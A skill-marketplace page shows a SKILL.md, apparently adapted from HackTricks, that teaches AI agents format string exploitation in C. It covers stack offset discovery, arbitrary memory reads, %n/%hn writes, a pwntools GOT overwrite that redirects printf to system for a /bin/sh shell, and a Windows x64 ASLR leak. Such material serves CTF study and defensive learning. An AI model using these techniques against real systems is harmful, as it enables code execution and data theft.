Skip to main content

format-string-exploit

How to exploit format string vulnerabilities in C programs. Use this skill whenever the user mentions format strings, printf vulnerabilities, sprintf/fprintf issues, GOT overwrites, arbitrary memory read/write, stack leaks, or any C program that takes user input as a format string. Also trigger for CTF challenges involving format string bugs, pwn tasks with printf-family functions, or when analyzing binaries for format string vulnerabilities.

Datos de origen

Repositorio
abelrguezr/hacktricks-skills
Última actividad en el origen
23 de marzo de 2026 a las 14:29
Idioma detectado de SKILL.md
inglés
Estrellas
22
Forks
10

Opciones de instalación

De forma predeterminada está seleccionado el prompt que primero revisa el origen. Puedes cambiar a un comando directo o descargar una copia local.

Revisa los archivos de origen

Lee SKILL.md y los archivos complementarios que muestra SkillsMP antes de decidir si quieres instalarlo.

Explorador de archivos
2 archivos

Mostrando SKILL.md

SKILL.md
Instrucciones de origen · Vista previa de solo lectura
name
format-string-exploit
description
How to exploit format string vulnerabilities in C programs. Use this skill whenever the user mentions format strings, printf vulnerabilities, sprintf/fprintf issues, GOT overwrites, arbitrary memory read/write, stack leaks, or any C program that takes user input as a format string. Also trigger for CTF challenges involving format string bugs, pwn tasks with printf-family functions, or when analyzing binaries for format string vulnerabilities.
# Format String Exploitation Format string vulnerabilities occur when user-controlled input is passed as the format string argument to `printf`-family functions (`printf`, `sprintf`, `fprintf`). This allows attackers to read from and write to arbitrary memory addresses. ## Core Concepts ### Why This Works The `printf` function expects a format string as its first parameter, followed by values to substitute. When an attacker controls the format string, they can: - **Read memory**: Use formatters like `%x`, `%s`, `%p` to leak stack values - **Write memory**: Use `%n` to write the number of bytes printed to an address - **Control execution**: Overwrite function pointers in the GOT to redirect execution ### Key Formatters | Formatter | Purpose | |-----------|----------| | `%x` | Print 4 bytes as hex | | `%08x` | Print 8 hex bytes (padded) | | `%d` | Print as integer | | `%s` | Print as string (reads from address) | | `%p` | Print pointer address | | `%n` | Write byte count to address | | `%hn` | Write 2 bytes to address | | `%<n>$x` | Direct parameter access (nth argument) | | `%<n>$s` | Read string from nth parameter address | | `%<n>$n` | Write to nth parameter address | ## Finding the Offset Before exploiting, you need to find where your input lands on the stack. Send a known pattern followed by format specifiers and increment until you see your pattern. **Use the script**: `scripts/find_offset.py` automates this process. ```python # Manual approach for i in range(1, 20): payload = b"AAAA%" + str(i).encode() + b"$x" # Send payload, check if "41414141" appears in output ``` ## Arbitrary Read Use `%<n>$s` to read from an arbitrary address. The nth parameter should be the address you want to read. **Why this matters**: You can leak: - Binary base address (defeat ASLR) - Canaries - Encryption keys - Sensitive data on the stack **Example**: ```python from pwn import * p = process('./vulnerable_binary') # If input is at offset 6, and we want to read 0x8048000 payload = b'%6$s' # Read string from 6th param payload += b'xxxx' # Padding (5th param) payload += p32(0x8048000) # 6th param = address to read p.sendline(payload) print(p.clean()) # Shows memory at 0x8048000 ``` ## Arbitrary Write The `%n` formatter writes the number of bytes printed so far to an address. To write arbitrary values: 1. **Use padding**: `%.<count>x` prints exactly `<count>` hex characters 2. **Use `%hn`**: Write only 2 bytes (useful for 32-bit addresses) 3. **Write in two steps**: Low bytes first, then high bytes **Why two steps**: Writing a full 32-bit address like `0x08049724` would require printing 134,000,000+ characters. Using `%hn` twice (2 bytes each) is much more efficient. **GOT Overwrite Pattern**: The Global Offset Table (GOT) contains addresses of external functions. Overwriting a GOT entry redirects function calls. **Use the script**: `scripts/got_overwrite_template.py` for a ready-to-use template. ```python from pwn import * elf = context.binary = ELF('./vulnerable_binary') libc = elf.libc p = process() # Overwrite printf's GOT entry with system's address payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']}) p.sendline(payload) # Now printf() calls system() p.sendline('/bin/sh') p.interactive() ``` ## Windows x64 ASLR Bypass On Windows x64, the first 4 parameters are in registers (RCX, RDX, R8, R9). When a format string is used without varargs, `%p` reads from R9, often leaking a stable pointer. **Use the script**: `scripts/windows_aslr_bypass.py` for this technique. **Why this works**: The leaked pointer has a known offset within the module. Subtract the offset to get the base address, then calculate all other addresses. ```python # Leak R9 via %p leaked = int(received_output, 16) base = leaked - KNOWN_OFFSET # Found during local reversing ``` ## Common Vulnerable Patterns **Vulnerable**: ```c char buffer[30]; gets(buffer); // User input printf(buffer); // DANGEROUS: buffer as format string ``` **Safe**: ```c char buffer[30]; gets(buffer); printf("%s", buffer); // Safe: format string is constant ``` ## Exploitation Workflow 1. **Identify the vulnerability**: User input → printf-family function 2. **Find the offset**: Use `scripts/find_offset.py` 3. **Determine protection status**: Check for ASLR, canary, RELRO, PIE 4. **Choose attack**: - **No ASLR**: Direct GOT overwrite - **ASLR enabled**: Leak address first, then overwrite 5. **Craft payload**: Use `fmtstr_payload()` or manual construction 6. **Test and iterate**: Adjust offsets and addresses as needed ## Scripts Available - `scripts/find_offset.py` - Brute force stack offset - `scripts/got_overwrite_template.py` - GOT overwrite exploit template - `scripts/windows_aslr_bypass.py` - Windows x64 ASLR bypass ## References - [HackTricks Format Strings](https://book.hacktricks.xyz/pentesting/remote-code-execution/rce/format-string-vulnerabilities) - [CTF Recipes - Data Leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [GuyInATuxedo Format String Series](https://guyinatuxedo.github.io/10-fmt_strings/) - [ir0nstone Notes](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
Ver en GitHub